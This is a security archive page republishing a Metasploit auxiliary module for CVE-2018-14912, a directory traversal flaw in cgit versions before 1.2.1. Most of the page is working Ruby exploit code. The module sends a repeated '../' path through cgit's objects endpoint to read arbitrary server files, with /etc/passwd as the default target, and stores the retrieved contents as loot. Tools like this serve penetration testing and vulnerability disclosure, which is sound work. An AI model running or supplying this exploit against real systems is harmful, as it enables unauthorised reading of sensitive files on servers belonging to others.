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cgit Directory Traversal

cgit Directory Traversal
Posted Aug 14, 2018
Authored by Dhiraj Mishra | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in cgit versions prior to 1.2.1.

tags | exploit
advisories | CVE-2018-14912
SHA-256 | a6e005dc2280ba56fb5c4225445c65d8851f8cf8775107d49d6da21b41b8d918

cgit Directory Traversal

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'cgit Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability which
exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
configuration flag enable-http-clone is set to 1 (default).
},
'References' =>
[
['CVE', '2018-14912'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],
['EDB', '45148']
],
'Author' =>
[
'Google Project Zero', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'DisclosureDate' => 'Aug 03 2018',
'License' => MSF_LICENSE
))

register_options(
[
OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),
OptString.new('REPO', [true, "Git repository on the remote server", '']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])
])
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = "../" * datastore['DEPTH'] << filename

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
'vars_get' => {'path' => traversal}
})

unless res && res.code == 200
print_error('Nothing was downloaded')
return
end

vprint_good("#{peer} - \n#{res.body}")
path = store_loot(
'cgit.traversal',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end

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